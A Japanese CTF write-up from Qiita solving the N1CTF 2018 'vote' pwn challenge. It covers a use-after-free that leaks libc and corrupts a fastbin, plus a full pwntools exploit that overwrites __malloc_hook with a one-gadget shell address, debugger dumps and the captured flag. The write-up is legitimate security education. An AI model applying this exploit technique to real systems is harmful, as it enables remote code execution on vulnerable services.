0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

N1CTF 2018 writeup

Last updated at Posted at 2018-03-12

vote(Pwn, 250 points)

選挙の候補者を自分で登録して自分で投票したりするプログラム。
Use After Freeの脆弱性があってfastbin使ってるのでDouble FreeからのFastbin Dupができるかなと思って試してみたところ、consolidateしようとして落ちてしまうようだったので非常に困った。(Double Free対象のfastbinのfdが0xffffffffffffffffになっていると、0x40119dの「call _printf」でprintf→vfprintf→malloc→malloc_consolidateときたときに落ちるらしい)
最終的にはFastbin Dup以外の方法でFastbin unlink attackすることになるのだけれど、そこに至るまでにけっこう悩んだ。ただ、昨年のSECCON予選のelectionも投票を扱った問題で、「あのときはアドレスをインクリメントしていったな」と思い出したのでvote処理に着目し、なんとか解けた。

ファイル情報

# file ./vote 
vote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=53266adcfdcb7b21a01e9f2a1cb0396b818bfba3, stripped
# checksec ./vote 
[*] '(snip)/vote'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

動作概要

  • 最初に投票対象の候補者を登録する
  • 候補者に対して、投票(Vote)したり投票取り下げ(Cancel)したりする
  • 得票数がマイナスになると、候補者自体が削除(free)される
  • ヒープ上に候補者ごとの構造体が存在し、それぞれのアドレスを.bss(0x6020e0~0x602158)から指している
  • 候補者の構造体要素は下記
    • 得票数(8バイト)
    • 最終得票時間(8バイト)
    • 候補者名(ユーザ指定サイズ)
# ./vote
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 0
Please enter the name's size: 10
Please enter the name: AAAA
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 0
Please enter the name's size: 10
Please enter the name: BBBB
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 1
Please enter the index: 0
name: AAAA
count: 0
time: 1520817619
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 2
Please enter the index: 0
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 2
Please enter the index: 1
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 2
Please enter the index: 0
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 3
0       ->      2
1       ->      1
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 4
Please enter the index: 0
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 3
0       ->      1
1       ->      1
0: Create
1: Show
2: Vote
3: Result
4: Cancel
5: Exit
Action: 5
Bye 

脆弱点

関数sub_40109d内のfree実行時(0x401163、0x4011cbあたり)、free対象チャンクを指している.bss上の領域(0x6020e0~0x602158)がきれいにされないため、Use After Freeの脆弱性がある。
2018-03-12_103123.png

考察

  • Fastbin unlink attackが使えそうなので、__malloc_hookにOne-Gadget-RCEのアドレスを書き込む方法を検討する
  • libc_baseを求めるために、どこかのアドレスをリークさせる
    • 下記の理由から、main_arenaのアドレスリークを行う
      • ヒープサイズを自由に決められること(smallbinをfreeすることで、そのfd, bk部分にmain_arena+0x58が書き込まれる)
      • Use After Freeの脆弱性があること
  • Fastbin unlink attackを行うためにfastbin->fdを書き換えないといけないが、Double Freeが使えない
    • そもそもDouble Freeできてもfastbin->fd部分は得票数となっているため、ユーザによって任意の値を書き込めない
      • ユーザによって書き込み可能な候補者名は、fastbinの16バイト目以降
    • ヒープオーバーフローは存在しない(多分)
    • Use After Freeの脆弱性により、ヒープがfreeされた後もvote(得票数をインクリメント)できる
      • 得票数はちょうどfastbin->fdにあたる
      • 別のヒープ上に偽チャンクを作り、そのヒープをfdとするfastbinに対してvoteを何回か繰り返す(Use After Freeにより実行可能)ことで、元々指していたヒープの先頭アドレスではなく偽チャンクの先頭アドレスを指させる
      • 偽チャンクのfdに、__malloc_hook周辺のアドレスを書いておく

方針

  1. smallbinサイズのチャンク(#0)を確保してfreeし、当該チャンクのfd, bk部分にmain_arena+0x58のアドレスを書き込ませる
  2. Use After Freeにより#0の内容を参照し、リークしたアドレスからlibc_base、__malloc_hook(-0x23)のアドレスを求める
  3. 偽チャンクを含んだfastbin(#2)を確保する(偽チャンクのfdは__malloc_hook周辺を指している)
  4. 上記と同じサイズのfastbin(#3)を確保する
  5. #2および#3を順次freeする(このとき#3のfdは#2の先頭を指している)
  6. #3に対してvoteを何回か繰り返して、そのfdに偽チャンクの先頭を指させる
  7. 2回mallocすると、次のmallocでは__malloc_hook周辺のアドレス(偽チャンクのfd)が返る
  8. mallocしてOne-Gadget-RCEのアドレスを書き込む
  9. mallocを呼ぶような操作を実行する

事前準備

提供されたlibc-2.23.soについて、

  • ロードしたときの「main_arenaアドレス - libc_base」のオフセット値を求める(smallbinをfreeして確認)
pwndbg> x/6gx 0x686000
0x686000:       0x0000000000000000      0x00000000000000c1
0x686010:       0x00007f6c1df11b78      0x00007f6c1df11b78
0x686020:       0x4141414141414141      0x0000000000000000
pwndbg> vmmap 
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      (snip)/vote
          0x601000           0x602000 r--p     1000 1000   (snip)/vote
          0x602000           0x603000 rw-p     1000 2000   (snip)/vote
          0x686000           0x6a7000 rw-p    21000 0      [heap]
    0x7f6c1d930000     0x7f6c1d948000 r-xp    18000 0      /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7f6c1d948000     0x7f6c1db47000 ---p   1ff000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7f6c1db47000     0x7f6c1db48000 r--p     1000 17000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7f6c1db48000     0x7f6c1db49000 rw-p     1000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7f6c1db49000     0x7f6c1db4d000 rw-p     4000 0      
    0x7f6c1db4d000     0x7f6c1dd0d000 r-xp   1c0000 0      (snip)/libc-2.23.so
    0x7f6c1dd0d000     0x7f6c1df0d000 ---p   200000 1c0000 (snip)/libc-2.23.so
    0x7f6c1df0d000     0x7f6c1df11000 r--p     4000 1c0000 (snip)/libc-2.23.so
    0x7f6c1df11000     0x7f6c1df13000 rw-p     2000 1c4000 (snip)/libc-2.23.so
    0x7f6c1df13000     0x7f6c1df17000 rw-p     4000 0      
>>> hex(0x00007f6c1df11b78-0x58-0x7f6c1db4d000)
'0x3c4b20'
  • __malloc_hookのオフセット値を求める
# nm -D ./libc-2.23.so | grep malloc_hook
00000000003c4b10 V __malloc_hook
  • __malloc_hook周辺でfastbinとして返せそうな領域のsize部分の値を確認する

    • 今回は__malloc_hook-0x23
    • サイズは0x70
  • One-Gadget-RCEのオフセット値を求める

# one_gadget -f ./libc-2.23.so 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

exploit

from pwn import *

context.log_level = 'INFO'

target = '47.90.103.10'
port = 6000

conn = remote(target, port)

def create(size, name):
	conn.sendlineafter('Action: ', '0')
	conn.sendlineafter('size: ', str(size))
	conn.sendlineafter('name: ', name)

def show(idx):
	conn.sendlineafter('Action: ', '1')
	conn.sendlineafter('index: ', str(idx))
	
	conn.recvuntil('name: ')
	name = conn.recvuntil('\ncount: ', True)
	count = conn.recvuntil('\ntime: ', True)
	time = conn.recvuntil('\n', True)
	
	return [name, count, time]

def vote(idx):
	conn.sendlineafter('Action: ', '2')
	conn.sendlineafter('index: ', str(idx))

def cancel(idx):
	conn.sendlineafter('Action: ', '4')
	conn.sendlineafter('index: ', str(idx))

arena_offset = 0x3c4b20
malloc_hook_offset = 0x3c4b10

create(0xa0, 'A'*8) #0
create(0x20, 'A'*8) #1

cancel(0)

main_arena = int(show(0)[1]) - 0x58
libc_base = main_arena - arena_offset
target_addr = libc_base + malloc_hook_offset - 0x23

log.info('leak_arena: {0}'.format(hex(main_arena)))
log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('target_addr: {0}'.format(hex(target_addr)))

payload = ''
payload += p64(0)
payload += p64(0x71)
payload += p64(target_addr)

create(0x50, payload) #2
create(0x50, 'A'*8) #3

cancel(2)
cancel(3)

for i in range(0x20):
	vote(3)

create(0x50, 'A'*8)
create(0x50, 'A'*8)

one_gadget = libc_base + 0xf0274

payload = ''
payload += p8(0) * 3
payload += p64(one_gadget)

create(0x50, payload)

conn.sendlineafter('Action: ', '0')
conn.sendlineafter('size: ', str(1))

conn.interactive()

conn.close()

検証メモ

1. smallbinサイズのチャンク(#0)を確保してfreeし、当該チャンクのfd, bk部分にmain_arena+0x58のアドレスを書き込ませる

pwndbg> x/6gx 0x644000
0x644000:       0x0000000000000000      0x00000000000000c1
0x644010:       0x00007fc8c8002b78      0x00007fc8c8002b78
0x644020:       0x4141414141414141      0x0000000000000000

2. Use After Freeにより#0の内容を参照し、リークしたアドレスからlibc_base、__malloc_hook(-0x23)のアドレスを求める

[*] leak_arena: 0x7fc8c8002b20
[*] libc_base: 0x7fc8c7c3e000
[*] target_addr: 0x7fc8c8002aed
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x402000 r-xp     2000 0      (snip)/vote
          0x601000           0x602000 r--p     1000 1000   (snip)/vote
          0x602000           0x603000 rw-p     1000 2000   (snip)/vote
          0x644000           0x665000 rw-p    21000 0      [heap]
    0x7fc8c7a21000     0x7fc8c7a39000 r-xp    18000 0      /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7fc8c7a39000     0x7fc8c7c38000 ---p   1ff000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7fc8c7c38000     0x7fc8c7c39000 r--p     1000 17000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7fc8c7c39000     0x7fc8c7c3a000 rw-p     1000 18000  /lib/x86_64-linux-gnu/libpthread-2.23.so
    0x7fc8c7c3a000     0x7fc8c7c3e000 rw-p     4000 0      
    0x7fc8c7c3e000     0x7fc8c7dfe000 r-xp   1c0000 0      (snip)/libc-2.23.so
    0x7fc8c7dfe000     0x7fc8c7ffe000 ---p   200000 1c0000 (snip)/libc-2.23.so
    0x7fc8c7ffe000     0x7fc8c8002000 r--p     4000 1c0000 (snip)/libc-2.23.so
    0x7fc8c8002000     0x7fc8c8004000 rw-p     2000 1c4000 (snip)/libc-2.23.so
    0x7fc8c8004000     0x7fc8c8008000 rw-p     4000 0      
    0x7fc8c8008000     0x7fc8c802e000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7fc8c8212000     0x7fc8c8215000 rw-p     3000 0      
    0x7fc8c822c000     0x7fc8c822d000 rw-p     1000 0      
    0x7fc8c822d000     0x7fc8c822e000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7fc8c822e000     0x7fc8c822f000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7fc8c822f000     0x7fc8c8230000 rw-p     1000 0      
    0x7ffd89c36000     0x7ffd89c57000 rw-p    21000 0      [stack]
    0x7ffd89cb9000     0x7ffd89cbc000 r--p     3000 0      [vvar]
    0x7ffd89cbc000     0x7ffd89cbe000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> x/8gx 0x7fc8c8002aed
0x7fc8c8002aed: 0xc8c8001260000000      0x000000000000007f
0x7fc8c8002afd: 0xc8c7cc3e20000000      0xc8c7cc3a0000007f
0x7fc8c8002b0d <__realloc_hook+5>:      0x000000000000007f      0x0000000000000000
0x7fc8c8002b1d: 0x0100000000000000      0x0000000000000000
pwndbg> x/8gx 0x7fc8c8002aed+0x23
0x7fc8c8002b10 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7fc8c8002b20: 0x0000000100000000      0x0000000000000000
0x7fc8c8002b30: 0x0000000000000000      0x0000000000000000
0x7fc8c8002b40: 0x0000000000000000      0x0000000000000000

3. 偽チャンクを含んだfastbin(#2)を確保する(偽チャンクのfdは2.で求めた__malloc_hook-0x23を指している)
4. 上記と同じサイズのfastbin(#3)を確保する

  • #2: 0x644000
  • #3: 0x644100
pwndbg> x/48gx 0x644000
0x644000:       0x0000000000000000      0x0000000000000071
0x644010:       0x0000000000000000      0x000000005aa6855f
0x644020:       0x0000000000000000      0x0000000000000071
0x644030:       0x00007fc8c8002aed      0x0000000000000000
0x644040:       0x0000000000000000      0x0000000000000000
0x644050:       0x0000000000000000      0x0000000000000000
0x644060:       0x0000000000000000      0x0000000000000000
0x644070:       0x0000000000000000      0x0000000000000051
0x644080:       0x00007fc8c8002bb8      0x00007fc8c8002bb8
0x644090:       0x0000000000000000      0x0000000000000000
0x6440a0:       0x0000000000000000      0x0000000000000000
0x6440b0:       0x0000000000000000      0x0000000000000000
0x6440c0:       0x0000000000000050      0x0000000000000040
0x6440d0:       0x0000000000000000      0x000000005aa682f2
0x6440e0:       0x4141414141414141      0x0000000000000000
0x6440f0:       0x0000000000000000      0x0000000000000000
0x644100:       0x0000000000000000      0x0000000000000071
0x644110:       0x0000000000000000      0x000000005aa68597
0x644120:       0x4141414141414141      0x0000000000000000
0x644130:       0x0000000000000000      0x0000000000000000
0x644140:       0x0000000000000000      0x0000000000000000
0x644150:       0x0000000000000000      0x0000000000000000
0x644160:       0x0000000000000000      0x0000000000000000
0x644170:       0x0000000000000000      0x0000000000020e91

5. #2および#3を順次freeする(このとき#3のfdは#2の先頭を指している)

  • #2: 0x644000
  • #3: 0x644100(fd: 0x644000)
  • 偽チャンク: 0x644020
pwndbg> x/48gx 0x644000
0x644000:       0x0000000000000000      0x0000000000000071
0x644010:       0x0000000000000000      0x000000005aa6855f
0x644020:       0x0000000000000000      0x0000000000000071
0x644030:       0x00007fc8c8002aed      0x0000000000000000
0x644040:       0x0000000000000000      0x0000000000000000
0x644050:       0x0000000000000000      0x0000000000000000
0x644060:       0x0000000000000000      0x0000000000000000
0x644070:       0x0000000000000000      0x0000000000000051
0x644080:       0x00007fc8c8002bb8      0x00007fc8c8002bb8
0x644090:       0x0000000000000000      0x0000000000000000
0x6440a0:       0x0000000000000000      0x0000000000000000
0x6440b0:       0x0000000000000000      0x0000000000000000
0x6440c0:       0x0000000000000050      0x0000000000000040
0x6440d0:       0x0000000000000000      0x000000005aa682f2
0x6440e0:       0x4141414141414141      0x0000000000000000
0x6440f0:       0x0000000000000000      0x0000000000000000
0x644100:       0x0000000000000000      0x0000000000000071
0x644110:       0x0000000000644000      0x000000005aa68597
0x644120:       0x4141414141414141      0x0000000000000000
0x644130:       0x0000000000000000      0x0000000000000000
0x644140:       0x0000000000000000      0x0000000000000000
0x644150:       0x0000000000000000      0x0000000000000000
0x644160:       0x0000000000000000      0x0000000000000000
0x644170:       0x0000000000000000      0x0000000000020e91
  • サイズ0x70のfastbinsY[ ]
pwndbg> telescope 0x7fc8c8002b20+0x30
00:0000│ rsi  0x7fc8c8002b50 —▸ 0x644100 ◂— 0x0

6. #3に対してvoteを0x20回繰り返して、そのfdに偽チャンクの先頭を指させる

  • #2: 0x644000
  • #3: 0x644100(fd: 0x644020)
  • 偽チャンク: 0x644020
pwndbg> x/48gx 0x644000
0x644000:       0x0000000000000000      0x0000000000000071
0x644010:       0x0000000000000000      0x000000005aa6855f
0x644020:       0x0000000000000000      0x0000000000000071
0x644030:       0x00007fc8c8002aed      0x0000000000000000
0x644040:       0x0000000000000000      0x0000000000000000
0x644050:       0x0000000000000000      0x0000000000000000
0x644060:       0x0000000000000000      0x0000000000000000
0x644070:       0x0000000000000000      0x0000000000000051
0x644080:       0x00007fc8c8002bb8      0x00007fc8c8002bb8
0x644090:       0x0000000000000000      0x0000000000000000
0x6440a0:       0x0000000000000000      0x0000000000000000
0x6440b0:       0x0000000000000000      0x0000000000000000
0x6440c0:       0x0000000000000050      0x0000000000000040
0x6440d0:       0x0000000000000000      0x000000005aa682f2
0x6440e0:       0x4141414141414141      0x0000000000000000
0x6440f0:       0x0000000000000000      0x0000000000000000
0x644100:       0x0000000000000000      0x0000000000000071
0x644110:       0x0000000000644020      0x000000005aa6884b
0x644120:       0x4141414141414141      0x0000000000000000
0x644130:       0x0000000000000000      0x0000000000000000
0x644140:       0x0000000000000000      0x0000000000000000
0x644150:       0x0000000000000000      0x0000000000000000
0x644160:       0x0000000000000000      0x0000000000000000
0x644170:       0x0000000000000000      0x0000000000000121

7. 2回mallocすると、次のmallocでは__malloc_hook-0x23(偽チャンクのfd)が返る

  • サイズ0x70のfastbinsY[ ](1回目のmallocの後)
pwndbg> telescope 0x7fc8c8002b20+0x30
00:0000│   0x7fc8c8002b50 —▸ 0x644020 ◂— 0x0
  • サイズ0x70のfastbinsY[ ](2回目のmallocの後)
pwndbg> telescope 0x7fc8c8002b20+0x30
00:0000│   0x7fc8c8002b50 —▸ 0x7fc8c8002aed ◂— 0xc8c8001260000000

8. mallocしてOne-Gadget-RCEのアドレスを書き込む

pwndbg> x/8gx 0x7fc8c8002aed+0x23
0x7fc8c8002b10 <__malloc_hook>: 0x00007fc8c7d2e274      0x0000000000000000
0x7fc8c8002b20: 0x0000000000000000      0x0000000000000000
0x7fc8c8002b30: 0x0000000000000000      0x0000000000000000
0x7fc8c8002b40: 0x0000000000000000      0x0000000000000000

9. mallocを呼ぶような操作を実行する

[+] Opening connection to 47.90.103.10 on port 6000: Done
[*] leak_arena: 0x7f6b5fbe7b20
[*] libc_base: 0x7f6b5f823000
[*] target_addr: 0x7f6b5fbe7aed
[*] Switching to interactive mode
$ ls
flag  vote
$ cat flag
N1CTF{Pr1nTf_2333333333!}
0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?